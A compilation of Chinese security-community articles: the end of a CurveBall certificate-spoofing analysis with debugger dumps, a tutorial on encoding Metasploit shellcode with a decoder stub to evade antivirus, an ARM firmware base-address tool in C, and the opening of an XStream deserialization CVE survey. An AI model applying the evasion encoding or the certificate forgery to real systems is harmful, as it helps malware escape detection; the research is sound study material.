&& *(_DWORD *)a2
&& !memcmp(*(const void **)(a2 + 4), *(const void **)(a4 + 4), *(_DWORD *)a2) )
{
v5 = 1;
if ( !v4 )
v4 = &v9;
v6 = a3;
if ( !a3 )
v6 = &v9;
if ( *v4 == *v6 )
{
if ( !*v4 || !memcmp((const void *)v4[1], (const void *)v6[1], *v4) )
v5 = 0;
}
如果判断失败，则会再次调用CryptVerifyCertificateSignatureEx验证签名，这次就会验证该证书是否由系统信任证书签发，如果没有验证成功，就会进入ChainLogMSRC54294Error函数记录错误日志。
if ( v37 > 0 )
{
if ( CryptVerifyCertificateSignatureEx(0, 1u, 2u, pvSubject, 2u, pvIssuer, 0, 0) )
goto LABEL_40;
v27 = *(_DWORD *)(v9 + 0x108);
ChainLogMSRC54294Error((PCCERT_CONTEXT)pvIssuer);
v26 = v37 == 0;
}
既然都看到这里了，就给你们展示一下算法参数吧，下面这个是编码后的自定义算法参数，来自伪造根证书（可以拿去和上面解析的证书参数进行比较）：
0:000> dx -r1 (*((combase!_CRYPTOAPI_BLOB *)0x568cec))
(*((combase!_CRYPTOAPI_BLOB *)0x568cec)) [Type: _CRYPTOAPI_BLOB]
[+0x000] cbData : 0x15b [Type: unsigned long]
[+0x004] pbData : 0x5691d6 : 0x30 [Type: unsigned char *]
0:000> db 0x5691d6 l15b
005691d6 30 82 01 57 02 01 01 30-3c 06 07 2a 86 48 ce 3d 0..W...0<..*.H.=
005691e6 01 01 02 31 00 ff ff ff-ff ff ff ff ff ff ff ff ...1............
005691f6 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
00569206 ff ff ff ff fe ff ff ff-ff 00 00 00 00 00 00 00 ................
00569216 00 ff ff ff ff 30 7b 04-30 ff ff ff ff ff ff ff .....0{.0.......
00569226 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
00569236 ff ff ff ff ff ff ff ff-fe ff ff ff ff 00 00 00 ................
00569246 00 00 00 00 00 ff ff ff-fc 04 30 b3 31 2f a7 e2 ..........0.1/..
00569256 3e e7 e4 98 8e 05 6b e3-f8 2d 19 18 1d 9c 6e fe >.....k..-....n.
00569266 81 41 12 03 14 08 8f 50-13 87 5a c6 56 39 8d 8a .A.....P..Z.V9..
00569276 2e d1 9d 2a 85 c8 ed d3-ec 2a ef 03 15 00 a3 35 ...*.....*.....5
00569286 92 6a a3 19 a2 7a 1d 00-89 6a 67 73 a4 82 7a cd .j...z...jgs..z.
00569296 ac 73 04 61 04 c7 11 16-2a 76 1d 56 8e be b9 62 .s.a....*v.V...b
005692a6 65 d4 c3 ce b4 f0 c3 30-ec 8f 6d d7 6e 39 bc c8 e......0..m.n9..
005692b6 49 ab ab b8 e3 43 78 d5-81 06 5d ef c7 7d 9f ce I....Cx...]..}..
005692c6 d6 b3 90 75 de 0c b0 90-de 23 ba c8 d1 3e 67 e0 ...u.....#...>g.
005692d6 19 a9 1b 86 31 1e 5f 34-2d ee 17 fd 15 fb 7e 27 ....1._4-.....~'
005692e6 8a 32 a1 ea c9 8f c9 7e-18 cb 2f 3b 2c 48 7a 7d .2.....~../;,Hz}
005692f6 a6 f4 01 07 ac 02 31 00-ff ff ff ff ff ff ff ff ......1.........
00569306 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
00569316 c7 63 4d 81 f4 37 2d df-58 1a 0d b2 48 b0 a7 7a .cM..7-.X...H..z
00569326 ec ec 19 6a cc c5 29 73-02 01 01 ...j..)s...
下面就是真正的Microsoft ECC Product Root Certificate Authority
2018证书的算法参数啦，只有7个字节，这是椭圆曲线secp384r1的OID的编码形式，其OID为1.3.132.0.34。第一个字节06指明这是一个OID类型数据，然后后面的05代表OID编码后的长度，然后OID有个编码算法，这里不再展开说明，有兴趣的话可以自己查一下。新增的对算法参数的比较就是对pCertInfo->SubjectPublicKeyInfo.Algorithm.Parameters
CRYPTOAPI_BLOB结构中内容的比较（包括参数编码长度）。看，长度明显不一样的。
0:000> dx -r1 (*((combase!_CRYPTOAPI_BLOB *)0x579b7c))
(*((combase!_CRYPTOAPI_BLOB *)0x579b7c)) [Type: _CRYPTOAPI_BLOB]
[+0x000] cbData : 0x7 [Type: unsigned long]
[+0x004] pbData : 0x579506 : 0x6 [Type: unsigned char *]
0:000> db 0x579506 l7
00579506 06 05 2b 81 04 00 22
由于ChainGetMatchInfoStatus函数和CryptVerifyCertificateSignatureEx函数关系着每一层证书的验证，所以可以在这两个函数下断点，从而推测整个证书链的验证过程。首先获取用户证书并为其建立CCertObject结构，通过ChainGetMatchInfoStatus函数来判断该证书的Issuer和Subject字段是否相同（目的是为了找到自签名证书）。应该有个大循环去判断这些，直到找到可以通过ChainGetMatchInfoStatus函数以及CryptVerifyCertificateSignatureEx函数验证的自签名证书，然后为其建立CChainPathObject结构（所以验证的方向应该是自根证书向下的）。然后调用ChainGetSubjectStatus函数（ChainGetSubjectStatus应该是验证Issuer对Subject的签名是否正确以及Issuer身份是否可信的一个函数）来验证自签名证书对证书的签名是否正确，正确的话设置属性和标志。当标志设置了之后又通过FindElementInCollectionStore函数寻找和自签名证书相匹配的系统信任证书，并为其建立CChainPathObject结构。之后再次调用ChainGetSubjectStatus函数，由于签名验证标志已经设置，所以只比较了伪造证书和找到的这个证书公钥散列值是否相同，相同就成功返回。然后循环这一过程，直到所有证书都验证通过。PS：可以通过CERT_INFO结构中的时间或公钥来判断是哪个证书。
当成功返回CCertChainEngine::CreateChainContextFromPathGraph函数并进行一些额外校验后会调用CChainPathObject::CreateChainContextFromPath函数来创建CERT_CHAIN_CONTEXT结构，其包含简单证书链和一个信任状态结构，可以看出这个链中的根证书是系统的根证书（我在调试的时候记住了这几个证书的cbCertEncoded的大小）。
0:000> dt CERT_CHAIN_CONTEXT @eax
combase!CERT_CHAIN_CONTEXT
+0x000 cbSize : 0x38
+0x004 TrustStatus : _CERT_TRUST_STATUS
+0x00c cChain : 1
+0x010 rgpChain : 0x005eac64 -> 0x005eac68 _CERT_SIMPLE_CHAIN
+0x014 cLowerQualityChainContext : 0
+0x018 rgpLowerQualityChainContext : (null)
+0x01c fHasRevocationFreshnessTime : 0n1
+0x020 dwRevocationFreshnessTime : 0xcd
+0x024 dwCreateFlags : 0x48000001
+0x028 ChainId : _GUID {00000000-0000-0000-0000-000000000000}
0:000> dt _CERT_SIMPLE_CHAIN 0x005eac68
combase!_CERT_SIMPLE_CHAIN
+0x000 cbSize : 0x20
+0x004 TrustStatus : _CERT_TRUST_STATUS
+0x00c cElement : 2
+0x010 rgpElement : 0x005eac88 -> 0x005eac90 _CERT_CHAIN_ELEMENT
+0x014 pTrustListInfo : (null)
+0x018 fHasRevocationFreshnessTime : 0n1
+0x01c dwRevocationFreshnessTime : 0xcd
0:000> dx -r1 ((combase!_CERT_CHAIN_ELEMENT * *)0x5eac88)
((combase!_CERT_CHAIN_ELEMENT * *)0x5eac88) : 0x5eac88 [Type: _CERT_CHAIN_ELEMENT * *]
0x5eac90 [Type: _CERT_CHAIN_ELEMENT *]
0:000> dx -r1 ((combase!_CERT_CHAIN_ELEMENT *)0x5eac90)
((combase!_CERT_CHAIN_ELEMENT *)0x5eac90) : 0x5eac90 [Type: _CERT_CHAIN_ELEMENT *]
[+0x000] cbSize : 0x20 [Type: unsigned long]
[+0x004] pCertContext : 0x568ee0 [Type: _CERT_CONTEXT *]
[+0x008] TrustStatus [Type: _CERT_TRUST_STATUS]
[+0x010] pRevocationInfo : 0x5eaf58 [Type: _CERT_REVOCATION_INFO *]
[+0x014] pIssuanceUsage : 0x5ea618 [Type: _CTL_USAGE *]
[+0x018] pApplicationUsage : 0x5e9d08 [Type: _CTL_USAGE *]
[+0x01c] pwszExtendedErrorInfo : 0x0 [Type: wchar_t *]
0:000> dx -r1 ((combase!_CERT_CONTEXT *)0x568ee0)
((combase!_CERT_CONTEXT *)0x568ee0) : 0x568ee0 [Type: _CERT_CONTEXT *]
[+0x000] dwCertEncodingType : 0x1 [Type: unsigned long]
[+0x004] pbCertEncoded : 0x568408 : 0x30 [Type: unsigned char *]
[+0x008] cbCertEncoded : 0x299 [Type: unsigned long]
[+0x00c] pCertInfo : 0x568b98 [Type: _CERT_INFO *]
[+0x010] hCertStore : 0x55ee70 [Type: void *]
0:000> dx -r1 ((combase!_CERT_CHAIN_ELEMENT * *)0x5eac88+1)
((combase!_CERT_CHAIN_ELEMENT * *)0x5eac88+1) : 0x5eac8c [Type: _CERT_CHAIN_ELEMENT * *]
0x5eacb0 [Type: _CERT_CHAIN_ELEMENT *]
0:000> dx -r1 ((combase!_CERT_CHAIN_ELEMENT *)0x5eacb0)
((combase!_CERT_CHAIN_ELEMENT *)0x5eacb0) : 0x5eacb0 [Type: _CERT_CHAIN_ELEMENT *]
[+0x000] cbSize : 0x20 [Type: unsigned long]
[+0x004] pCertContext : 0x5e9d60 [Type: _CERT_CONTEXT *]
[+0x008] TrustStatus [Type: _CERT_TRUST_STATUS]
[+0x010] pRevocationInfo : 0x0 [Type: _CERT_REVOCATION_INFO *]
[+0x014] pIssuanceUsage : 0x0 [Type: _CTL_USAGE *]
[+0x018] pApplicationUsage : 0x0 [Type: _CTL_USAGE *]
[+0x01c] pwszExtendedErrorInfo : 0x0 [Type: wchar_t *]
0:000> dx -r1 ((combase!_CERT_CONTEXT *)0x5e9d60)
((combase!_CERT_CONTEXT *)0x5e9d60) : 0x5e9d60 [Type: _CERT_CONTEXT *]
[+0x000] dwCertEncodingType : 0x1 [Type: unsigned long]
[+0x004] pbCertEncoded : 0x579380 : 0x30 [Type: unsigned char *]
[+0x008] cbCertEncoded : 0x327 [Type: unsigned long]
[+0x00c] pCertInfo : 0x579b40 [Type: _CERT_INFO *]
[+0x010] hCertStore : 0x5722d0 [Type: void *]
这个结构最终放在CertGetCertificateChain函数的第8个参数*ppChainContext中，其中CERT_TRUST_STATUS结构中存放了证书链的错误码和状态码。dwErrorStatus
为0，表示没有错误，证书是有效的。
0:000> dt PCCERT_CHAIN_CONTEXT 00cf8b4c
combase!PCCERT_CHAIN_CONTEXT
0x005eab28
+0x000 cbSize : 0x38
+0x004 TrustStatus : _CERT_TRUST_STATUS
+0x00c cChain : 1
+0x010 rgpChain : 0x005eab84 -> 0x005eab88 _CERT_SIMPLE_CHAIN
+0x014 cLowerQualityChainContext : 0
+0x018 rgpLowerQualityChainContext : (null)
+0x01c fHasRevocationFreshnessTime : 0n1
+0x020 dwRevocationFreshnessTime : 0xcd
+0x024 dwCreateFlags : 0x48000001
+0x028 ChainId : _GUID {00000000-0000-0000-0000-000000000000}
0:000> dx -r1 (*((combase!_CERT_TRUST_STATUS *)0x5eab2c))
(*((combase!_CERT_TRUST_STATUS *)0x5eab2c)) [Type: _CERT_TRUST_STATUS]
[+0x000] dwErrorStatus : 0x0 [Type: unsigned long]
[+0x004] dwInfoStatus : 0x0 [Type: unsigned long]
最后，通俗地总结一下这个漏洞吧。在非对称加密算法中，每个主体有一对密钥，即公钥和私钥。公钥是公开的，私钥是自己留下的。用公钥加密的信息可以使用对应的私钥来解密，而在另一个场景下，用私钥加密的信息可以使用对应的公钥来解密。在签名算法中，主体使用其私钥来进行签名，如果他人可成功使用该主体的公钥解开其签名的内容，那证明这个东西确实是该主体签的（因为理论上除了他自己，没人会知道他的私钥）。在ECC加密算法中，公钥Q
、私钥d和基点G的关系是Q =
d×G，只给出公钥Q和基点G是很难推测出私钥d的。而在证书标准中是允许指定自定义算法参数的，这其中包括基点G，并且crypt32库中对自签名证书的验证主要是通过检查其与系统信任证书的公钥哈希值是否匹配（使用自签名证书对下级证书进行验证，然后再比较这个自签名证书和系统信任证书公钥散列值是否相同），而忽略了对算法参数的检查。这使得攻击者可以选取一对基点G’
、私钥d’，使得 d’×G’= Q（要伪造证书的公钥）。攻击者可将要伪造的证书算法参数中的基点G修改为自己构造的G’（也可以修改其它参数，只要保证
d’×G’ =
Q即可），然后同时也拥有了和伪造证书相匹配的私钥d’。攻击者可选择伪造系统信任的证书，并使用伪造的私钥对其他证书进行签名，然后进一步可对恶意程序等进行签名。由于签名具有不可否认性，存在此漏洞的系统就会认为这证书确实是由那个被伪造证书的主体签发的，然后恶意程序的数字签名就会被验证通过。另外，可通过提取并判断自签名证书中的算法参数来检测针对该漏洞的攻击，即该ECC证书提供了自定义算法参数，但并不能完全匹配标准的椭圆曲线参数，尤其在其公钥和已知证书相同的情况下。
## 参考文章
<https://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-technical-analysis-of-curveball-cve-2020-0601/>
<https://www.cnblogs.com/jiu0821/articles/4598352.html?from=singlemessage>
<https://tools.ietf.org/html/rfc3279>
<https://www.ietf.org/rfc/rfc5480.txt>
<https://www.secg.org/SEC2-Ver-1.0.pdf>
<https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6>
<https://www.shsxt.com/it/html5/653.html>
<https://www.zybuluo.com/blueGhost/note/805491>
<https://blog.csdn.net/weixin43899764/article/details/104029814>
<https://mp.weixin.qq.com/s/8ipXMA2XjFN-kuSm0gkIaw>
<https://mp.weixin.qq.com/s/8jlqBHWt4qBn28xEESutaA>
<https://mp.weixin.qq.com/s/6qcREQjEToLoGFiDvfvrg> | 社区文章 |
# 前言
在日常的渗透测试中，我们直接将metaspolit、CS等工具直接生成的恶意程序或代码发送到目标系统时，通常会遇防病毒和入侵检测系统的查杀。这使得我们的程序被拦截或者运行不稳定。有时候IP还会直接被封杀，增加了我们的攻击难度，这篇文章中，将为大家分享一些自己免杀的学习方法论，一些常用的AV和IDS规避技术，可以用于绕过一些安全软件。
# 编码器
通过一定规律的编码算法，将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形，从原始shellcode中删除所有无效的字符，从而逃避杀毒软件检测。
编码算法
可以使用多种算法对Shellcode进行编码，包括（但不限于）：
1、在特定位置添加垃圾字节
2、使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3、将字节移位某些特定位置
4、交换连续字节
或以任何一种或多种技术的复合。
## 第一种编码
先来一个简单的编码方法，我选择了一个名为加法和减法（ADD，SUB）这是最早的一种加密方式。
77+eb=162 是n =
77是我们加密的密码，原始字节中的的每个字符都与77相加。关于这个加密数，我们需要找从（0-255）个字节中找出一个与代码相加都不是坏字符的数，来作为我们的加密密码。这就需要我们自己去循坏计算，这里不写具体的编成实现代码。
选择它的原因很简单：
这个很容易实现，并且所有初学者都容易理解。最后，我们把解码器放在shellcode之前，每个字都将与指定的字节进行减法运算，最后得到我们的原始的code
## 第二个编码
在来一个相对复杂一些的，采用多种算法的复合编码。
1、进行NOT操作
2、ADD通过为0x1字节
3、在（0-255）中找一个随机字节，将字节与随机字节进行XOR，并在shellcode默认添加该字节，作为结束标记符
4、在这些字节之间插入随机字节
编写自动化编码工具
# 构建解码器
## 第一种方法来写解码器
解码器的内容很简单，解码器的下方是我们的加密后的代码。每次拿出一个字节与77字节相减，将计算结果存入ESI寄存器。
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
decoder_loop:
;在我们shellcode的末尾，同样放置加密字符，当解码到文件末尾的时候，可以直接跳转到shellcode地方执行
sub byte[esi],77;
jz shellcode
inc esi
jmp short decoder_loop
call_decoder:
call decoder
## 第二中解码方式
首先，我们需要将解码的shellcode放在某个地方，我们使用JMP指令跳转到执行解码器函数的地方，最后使用POP
ESI将shellcode地址放在ESI寄存器中间。我们首先要做的就是删除shellcode每个字节中间的随机字节。先来看一下shellcode的规律
A r B r C r D r E r F r G e
ESI ESI+2 ESI+4
EDI EDI+1
ESI寄存器每次加2就是shellcode的位置
EDI加1就是运算后存放的位置
# 自动化编码过程
首先加密字节应该注意的是，加密字节和加密后的字节都不应该包含坏字符。不是每个字节都手动与指定字节进行运算的。然后处理未编码的shellcode中的每个字节-我创建了一个小的Python脚本，可以帮自动完成这些计算。
在选择加密字节的时候，我们是从0-255中随机便利选择的，这意味着两次对相同的code进行编码可能不会两次产生相同的输出。
# 测试编码器
我们使用编写器对code进行编码得到
代码
\xeb\x09\x5e\x80\x2e\x9e\x74\x08\x46\xeb\xf8\xe8\xf2\xff\xff\xff\xdf\xe0\xe1\xe2\x9e
通过ollydbg进行调试，code被成功解码
通过msf生成一个一段shellcode,我们对shellcode进行编码加密
使用自动化脚本对shellcode进行加密
检查功能效果
最后通过virScan扫描看一下效果，国内杀软都可以过。
全程录制了个视频，直接上视频来看看这方方法的免杀效果吧。
<https://video.kuaishou.com/short-video/3xr4v2423yz48jq>
**这里只说实现方法，代码准备做以整套的,暂时不公布，有需要的同学，可以联系我** | 社区文章 |
# ARM固件基址定位工具开发
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、摘要
现在iot安全已经是一个热点了，嵌入式设备固件的逆向分析也成了师傅们比较关心的一个话题。
如果是普通的可执行文件，或者是动态链接库文件（例如路由器安全研究的情形下我们拿到了完整的文件系统），它们都是标准的二进制格式（比如elf），丢进IDA后，IDA就把工作统统给我们做好了。
但是有的时候我们拿到的固件压根就不是标准的二进制格式，IDA不知道它的架构和指令集。架构可以通过查芯片文档得知，因此我们可以在IDA最初的配置界面选择对应的反汇编处理器，但是问题是IDA并不知道固件的加载基址，也就无法建立正确的交叉引用，我们再逆起来就会很砍脑壳。
我们要做的就是尝试编写一个工具来自动判定固件的加载基址。咱们就针对32bit小端序的ARM固件来聊一下。
## 二、原理
用的原理是北京理工大学朱瑞瑾博士的论文《arm设备固件装载基址定位的研究》第三章介绍的方法，并在其基础上做了一些改进和优化。
这篇论文个人感觉写的蛮好的，第三章介绍的方法是基于函数入口表的基址定位方法，这个北理的师傅在论文里讲的已经很详细了，因此我们下面就简单的概括一下就好：
### （1）基本思路
首先什么是个函数入口表呢？就我个人的理解，这是论文里自己定义的一个概念，其实说白了就是把一堆函数的内存地址（绝对地址，不是相对偏移）放了个表里，或者是放了一个结构体数组中各结构体的某个固定成员变量中。这种例子其实我们很熟悉，比如GOT表中的函数地址、中断向量表中的函数地址，都是这样存储的。
嵌入式设备的ARM固件中就有很多这种入口表，虽然里面的函数地址不一定全都是“很漂亮的函数”，但是很大一部分都是“很漂亮的函数”。漂亮的函数意思就是它的汇编代码的前几条指令，是典型的规范的序言指令，在x86架构下是push
ebp/mov ebp,esp，在arm架构下，arm模式常常是STMFD，thumb模式常常是PUSH，这个如果有什么疑问百度了解一下ARM指令集即可。
值得注意的是，入口表放的是绝对地址啊。也就是说如果加载基址错误，那表中地址跳过去第一条指令大概率就不会是STMFD或PUSH。
那反过来想，如果说我们先假设一个加载基址，然后按入口表中的地址去看对应位置的第一条指令，如果入口表中大部分的地址的第一条指令都正好是STMFD或PUSH，那就说明这个假设的加载基址很可能就是正确的基址。
这样已经得到了一个猜测疑似基址的手段，那如果一个入口表在用多个假设基址去判断的时候，发现出现了多个疑似基址，那该选哪一个呢？论文给的解决方法是，用所有的入口表挨个去找疑似基址，然后比比在各个入口表找到的疑似基址中，哪个基址出现的最多，哪个就是我们要的。
### （2）具体实施方法
基本思路中抛出了两个我们需要解决的问题：1、怎么得到咱们要的入口表 2、怎么去匹配序言指令
#### 1、找入口表
论文设计了一个FIND-FET算法，不是很难。原理就是定了三条规则，满足三条规则就认为这是个入口表。
规则一：根据统计分析，一个入口表中的入口地址分布都比较紧凑，因此我们给一个地址差的范围，最高地址和最低地址差值应当小于一个界限。
规则二：地址不能重复（这个不用多说，很显然）
规则三：地址应当是4的整数倍或奇数，因为ARM模式指令地址是4的整数倍，THUMB模式指令地址是奇数。
注意：pc寄存器置值后，会判断最低位是否为1，为1则表示开启thumb模式，因此存的函数地址是奇数，但是存对应指令的地址还是偶数的（奇数减1）。
具体算法是用了滑动窗口，两个参数wnd和gap_max分别表示窗口大小（表项数）和一个表项中除了函数地址外剩余成员变量的最大个数（也就是两个函数地址间的最大间隔数）。
从头遍历偏移作为窗口起始地址，定下窗口起始地址后依次尝试gap为0~gap_max，然后判定窗口是否符合三个规则，不符合就增加gap再试，符合就滑动窗口找出一个完整的入口表。找到一个入口表后，就把偏移的遍历位置设到找出的表后面的位置，继续遍历寻找。
#### 2、匹配序言
先对入口表都排序去重，假设最小值为fet[0]最大为fet[n-1]，那么加载基址显然位于fet[n-1]-file_size ~
fet[0]这个范围内，然后就遍历这个范围内的每个值作为假设的基址base，入口地址 –
base就得到一个文件偏移，然后读文件相应偏移处的hex来判断是不是STMFD和PUSH的机器码。
注意：1.奇数匹配thumb的push，偶数匹配arm的stmfd
2.上面说过了，thumb时入口表中地址值是奇数，但是存储指令的实际地址是偶数，别忘了考虑上。
push机器码第二个字节是0xb5，stmfd机器码的二三字节是0x2d和0xe9
## 三、改进和优化
按照原文中的方法设计出来，在具体运行的时候还是有诸多局限性，我们对以下方面做了优化：
**·** 滑动窗口遍历机制
**·** 候选基址的选择
**·** 入口地址紧凑度
**·** 候选基址遍历范围
### （1）滑动窗口遍历机制：粗糙模式/精细模式
原文中，如果一个滑动窗口匹配上了三条规则，并滑动至三条规则匹配失败为止，就算找出一个完整的入口表了。
而当找出一个完整的入口表后，按原文给出的算法，将不再尝试其它gap值，并且，找下一个入口表时，用的滑动窗口的起始地址也是直接移动到了刚刚找出的表的后面，而不再尝试其之间的文件偏移位置。
而我自己做实测的时候发现，这样做会造成遗漏。这种遗漏在固件二进制文件较小时，非常容易造成最终判断结果的错误。
因此我在实现时做了修改，修改后仍会尝试未尝试的gap值和未尝试的文件偏移，效果更加精确。
但是这样改动的同时用时也会剧增，因此最终方案是设置了一个开关参数来由调用者决定扫描模式。
### （2）候选基址的选择：简洁模式
实际上，多数固件加载基址的第三位hex一般都是0，也就是以000结尾，而原算法会一股脑全部输出。
改动后调用者可以选择开启简洁模式，只扫描000结尾的候选基址，初次扫描建议开启这个选项。
### （3）入口地址紧凑度
即规则一中的差值界限。论文推荐的值是0x10000，我改成了0x1000，感觉效果更好一点。
### （4）候选基址遍历范围
论文中遍历范围是fet[n-1]-file_size ~ fet[0]，这个扫描范围是从fet[n-1]-file_size开始的。
但是实际实验中发现，有很大一部分情况下fet[n-1]-file_size为负值，这显然是不合理的，会使无用的耗时剧增，还可能会造成内存泄露（这倒还好，主要C可以负索引，但是换了别的语言可能要抛异常）。我的改进是判定为负时改为从0偏移开始扫。
此外，我们新增了一个boot模式，或者叫上电模式。Cortex-M/R核心的arm固件有一个特性，0偏移位置的dword是SP上电值，4偏移位置的dword则是PC寄存器的上电值，也就是上电后执行的第一条指令的地址。显然，加载基址是不可能大于这个值的。因此我们增加了boot模式，在能预先人工确定这个上电值的情况下可以使用这个模式，此时遍历范围的最大值将取min(pc_boot_value
, fet[0])，以缩短遍历用时。
## 四、工具的开发实现
我用的是C语言做的实现，代码量不大，不到200行。下面是关键的几个函数：
**1、找入口表**
PFET find_fet(char * bin, int start, int filesize, int wnd, int gap_max) {
int pos = start;
int end = start + filesize;
int gap,
head,
table_size,
off;
PFET fet_list = (PFET) malloc(sizeof(FET));
fet_list - >next = NULL;
PFET fet_l_ptr = fet_list;
while (pos >= start && pos < end) {
for (gap = 0; gap <= gap_max; gap++) {
off = 0;
if (rule_match(bin, pos, off, gap, wnd)) {
head = pos;
table_size = wnd;
off += wnd;
while (rule_match(bin, pos, off, gap, wnd)) {
table_size += wnd;
off += wnd;
}
if (F_ROUGH == 1) pos += table_size * (gap + 1) * 4 - 1; //CTL2.1: 粗略模式
fet_l_ptr - >next = (PFET) malloc(sizeof(FET));
fet_l_ptr = fet_l_ptr - >next;
fet_l_ptr - >head = head;
fet_l_ptr - >gap = gap;
fet_l_ptr - >table_size = table_size;
fet_l_ptr - >next = NULL;
if (F_ROUGH == 1) break; //CTL2.2: 粗略模式
}
}
pos++;
}
return fet_list;
}
**2、匹配/输出加载基址（非boot模式）**
void dbmfet(char * bin, int filesize, pone_tbl tbl, float T) {
int n = tbl - >num;
unsigned int * tb = tbl - >addr;
unsigned int guess_base;
int i,
start;
int thumb = 0,
arm = 0;
int debug = 0;
if (tb[n - 1] < (unsigned int) filesize) {
start = 0;
} else {
start = tb[n - 1] - filesize;
}
for (guess_base = start; guess_base <= tb[0]; guess_base++) { //CTL3: 非上电模式
if (guess_base % 0x1000 == 0 || F_CLEAR == 0) { //CTL4: 简洁模式
for (i = 0; i < n; i++) {
if (tb[i] % 2 == 1) {
if (bin[tb[i] - guess_base] == (char) 0xb5) thumb++;
} else {
if (bin[tb[i] - guess_base + 2] == (char) 0x2d && bin[tb[i] - guess_base + 3] == (char) 0xe9) arm++;
}
}
if (((float) arm + (float) thumb) / (float) n > T) printf("OUTPUT: %p========%fn", guess_base, ((float) arm + (float) thumb) / (float) n);
thumb = 0,
arm = 0;
}
}
}
**3、匹配/输出加载基址（boot模式）**
void dbmfet_boot(char * bin, int filesize, pone_tbl tbl, float T, unsigned int boot_pc) {
int n = tbl - >num;
unsigned int * tb = tbl - >addr;
unsigned int guess_base;
int i,
start;
int thumb = 0,
arm = 0;
int debug = 0;
if (tb[n - 1] < (unsigned int) filesize) {
start = 0;
} else {
start = tb[n - 1] - filesize;
}
for (guess_base = start; guess_base <= (boot_pc <= tb[0] ? boot_pc: tb[0]); guess_base++) { //CTL3: 上电模式
if (guess_base % 0x1000 == 0 || F_CLEAR == 0) { //CTL4: 简洁模式
for (i = 0; i < n; i++) {
if (tb[i] % 2 == 1) {
if (bin[tb[i] - guess_base] == (char) 0xb5) thumb++;
} else {
if (bin[tb[i] - guess_base + 2] == (char) 0x2d && bin[tb[i] - guess_base + 3] == (char) 0xe9) arm++;
}
}
if (((float) arm + (float) thumb) / (float) n > T) printf("OUTPUT: %p========%fn", guess_base, ((float) arm + (float) thumb) / (float) n);
thumb = 0,
arm = 0;
}
}
}
**4、主函数**
void find_load_base(char * filename, int wnd, int gap, float T, unsigned int f_gap_m, int f_rough, unsigned int boot, int f_clear) {
F_GAP_MAX = f_gap_m;
F_ROUGH = f_rough;
F_CLEAR = f_clear;
FILE * fid = fopen(filename, "rb");
fseek(fid, 0, SEEK_END);
long size = ftell(fid);
rewind(fid);
char * bin = (char * ) malloc(size + 1);
fread(bin, 1, size, fid);
PFET fet = find_fet(bin, 0, size, wnd, gap); //CTL5: 窗口 和 gap PFET ptr = fet->next; pone_tbl p_tbl; int i=0,j; do{ p_tbl = get_tbl(bin,ptr); if (boot == 0) dbmfet(bin,size,p_tbl,T); //CTL6: 阈值 else dbmfet_boot(bin,size,p_tbl,T,boot); //CTL6: 阈值 free(p_tbl->addr); free(p_tbl); ptr = ptr->next; i++; }while(ptr); printf("%dn", i); puts("end"); }
其他工作：
弄了dll，最开始想用swig转成python库，转的时候崩了。。。
最后用的ctypes导的dll，弄了个python模块。。GitHub链接放文末了。
## 五、工具运行测试
### Ⅰ. 扫描论文中给的固件
论文作者测试用的固件有16个，我找的好苦，16个我一共找到两个懒得再找了
#### 1、Sony SBH52固件
该固件就符合boot模式的要求，在ida中是这样：
可见芯片上电时PC寄存器的初始值为0x80bf029，因此我们：
运行结果如下：
可见基址为0x8040000（上千个结果，但是往下翻也是这个画风），与论文中的正确结果一致。
#### 2、iAudio 10 MP3固件
该固件不符合boot模式要求。而且体积较大，因此我们开启粗糙模式，并将匹配率阈值设为0.9：
运行结果如下：
可见，固件加载基址为0x20000000，与论文中的正确结果一致。
Ⅱ.扫描其他文件
我自个儿找了俩文件，都是ida自己能处理的标准elf文件，好像都是路由器里的程序：
第一个：
判定的基址为0x8000，载入ida确认：
第二个：
文件体积太小，匹配阈值0.6扫不出来，所以改成了0.3：
可见，加载基址就是0，丢ida验证：
后来又试了好几个elf，就一个失败了，失败的那个elf应该是因为太小了，只有10KB…
所以说大一点的文件效果会好一点，这也是统计特性决定的。
## 六、GitHub传送门
<https://github.com/MagpieRYL/arm32_base_loc> | 社区文章 |
前几个月XStream爆出一堆漏洞，这两天翻了翻，发现这波洞应该是黑名单绕过的最后一波了。因为在最新版的XStream
1.4.18中已经默认开启白名单的安全框架，按照XStream官方补漏洞的习惯，应该不会再接受新的绕过黑名单的漏洞了。
## 挑肥拣瘦
这波漏洞一共14个，基本上都是RCE的级别，先简单梳理一下。
CVE ID | PoC
---|---
CVE-2021-39139 | RCE
CVE-2021-39140 | DoS
CVE-2021-39141 | JNDI Based RCE
CVE-2021-39144 | RCE
CVE-2021-39145 | JNDI Based RCE
CVE-2021-39146 | JNDI Based RCE
CVE-2021-39147 | JNDI Based RCE
CVE-2021-39148 | JNDI Based RCE
CVE-2021-39149 | RCE
CVE-2021-39150 | SSRF
CVE-2021-39151 | JNDI Based RCE
CVE-2021-39152 | SSRF
CVE-2021-39153 | RCE
CVE-2021-39154 | JNDI Based RCE
我是一个挑肥拣瘦的人，一向不怎么看基于JNDI这种需要出网的PoC。因为我认为出网就意味着限制，不仅是是否能够出网的限制，还有复杂网络环境导致的一系列变化多端的因素，所以这种限制就意味成功概率极大降低。所以目标范围缩小到`CVE-2021-39139`，`CVE-2021-39144`，`CVE-2021-39149`，`CVE-2021-39153`。那就看看这四个洞的详细介绍吧，哪个限制最少就分析哪个。
CVE ID | Restrictions
---|---
CVE-2021-39139 | JDK版本要在7u21及以下，很明显是用了7u21的洞转换的
CVE-2021-39144 | 无限制
CVE-2021-39149 | 无限制
CVE-2021-39153 | JDK版本限制在8到14且要求同时安装了JavaFX
具体看看无限制的两个洞的官方PoC都长什么样，`39144`看上去是直接可以调用到`java.lang.Runtime`，直接执行任意命令基本是没跑了，但这种情况大多数应该是盲打，或者还是利用出网的技巧。`39149`就非常给力了，一眼就看到了我们熟悉的老伙伴`TemplatesImpl`，这就意味着我们可能可以注入Java字节码实现任意类实例化，撺掇一下就可以实现回显攻击了，简直是扫描利器。所以基本目标定在了分析`CVE-2021-39149`这个漏洞。
